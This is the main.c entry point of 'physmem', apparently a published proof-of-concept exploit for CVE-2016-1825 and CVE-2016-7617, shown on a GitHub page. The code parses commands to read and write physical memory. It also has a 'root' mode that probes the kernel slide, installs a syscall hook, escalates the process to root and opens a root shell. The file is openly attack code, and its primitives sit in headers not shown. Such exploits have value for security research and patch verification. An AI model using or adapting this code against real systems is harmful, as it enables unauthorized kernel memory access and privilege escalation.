-
Notifications
You must be signed in to change notification settings - Fork 13
/
main.c
147 lines (138 loc) · 2.96 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
/*
* main.c
* Brandon Azad
*
* Entry point for physmem, an exploit for CVE-2016-1825 and CVE-2016-7617.
*/
#include "fail.h"
#include "kernel_image.h"
#include "kernel_slide.h"
#include "physmem.h"
#include "privilege_escalation.h"
#include "syscall_hook.h"
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdnoreturn.h>
#include <string.h>
#include <unistd.h>
/*
* parse_u64
*
* Description:
* Parse a string into a uint64_t.
*/
static uint64_t parse_u64(const char *str) {
char *end;
uint64_t value = strtoull(str, &end, 0);
if (*str == 0 || *end != 0) {
FAIL("invalid integer '%s'", str);
}
return value;
}
/*
* parse_width
*
* Description:
* Parse a string into a width appropriate for phys_read/phys_write.
*/
static unsigned parse_width(const char *str) {
uint64_t width = parse_u64(str);
if (width != 1 && width != 2 && width != 4 && width != 8) {
FAIL("invalid width %llu", width);
}
return (unsigned)width;
}
/*
* usage
*
* Description:
* Print usage information and exit.
*/
static noreturn void usage() {
fprintf(stderr, "usage:\n"
" %1$s read <addr> [<width>]\n"
" %1$s write <addr> <value> [<width>]\n"
" %1$s root [utility [<argument> ...]]\n",
getprogname());
exit(1);
}
/*
* physmem_read
*
* Description:
* Parse the arguments and read from physical memory.
*/
static void physmem_read(int argc, const char *argv[]) {
if (argc < 1) {
usage();
}
uint64_t paddr = parse_u64(argv[0]);
uint64_t value;
unsigned width = sizeof(value);
if (argc == 2) {
width = parse_width(argv[1]);
} else if (argc != 1) {
usage();
}
physmem_init();
value = phys_read(paddr, width);
printf("%0*llx\n", 2 * width, value);
}
/*
* physmem_write
*
* Description:
* Parse the arguments and write to physical memory.
*/
static void physmem_write(int argc, const char *argv[]) {
if (argc < 2) {
usage();
}
uint64_t paddr = parse_u64(argv[0]);
uint64_t value = parse_u64(argv[1]);
unsigned width = sizeof(value);
if (argc == 3) {
width = parse_width(argv[2]);
} else if (argc != 2) {
usage();
}
physmem_init();
phys_write(paddr, value, width);
}
/*
* physmem_root
*
* Description:
* Exec the specified program as root. If no program is specified, exec a root shell instead.
*/
static void physmem_root(int argc, const char *prog_argv[]) {
char *default_argv[] = { "/bin/sh", NULL };
char **argv = (char **)prog_argv;
if (argc == 0) {
argv = default_argv;
}
kernel_init();
physmem_init();
probe_kernel_slide();
syscall_hook_install();
setuid_root();
syscall_hook_remove();
execve(argv[0], argv, NULL);
FAIL("execve failed: %s", strerror(errno));
}
int main(int argc, const char *argv[]) {
if (argc < 2) {
usage();
}
if (strcmp(argv[1], "read") == 0) {
physmem_read(argc - 2, argv + 2);
} else if (strcmp(argv[1], "write") == 0) {
physmem_write(argc - 2, argv + 2);
} else if (strcmp(argv[1], "root") == 0) {
physmem_root(argc - 2, argv + 2);
} else {
usage();
}
return 0;
}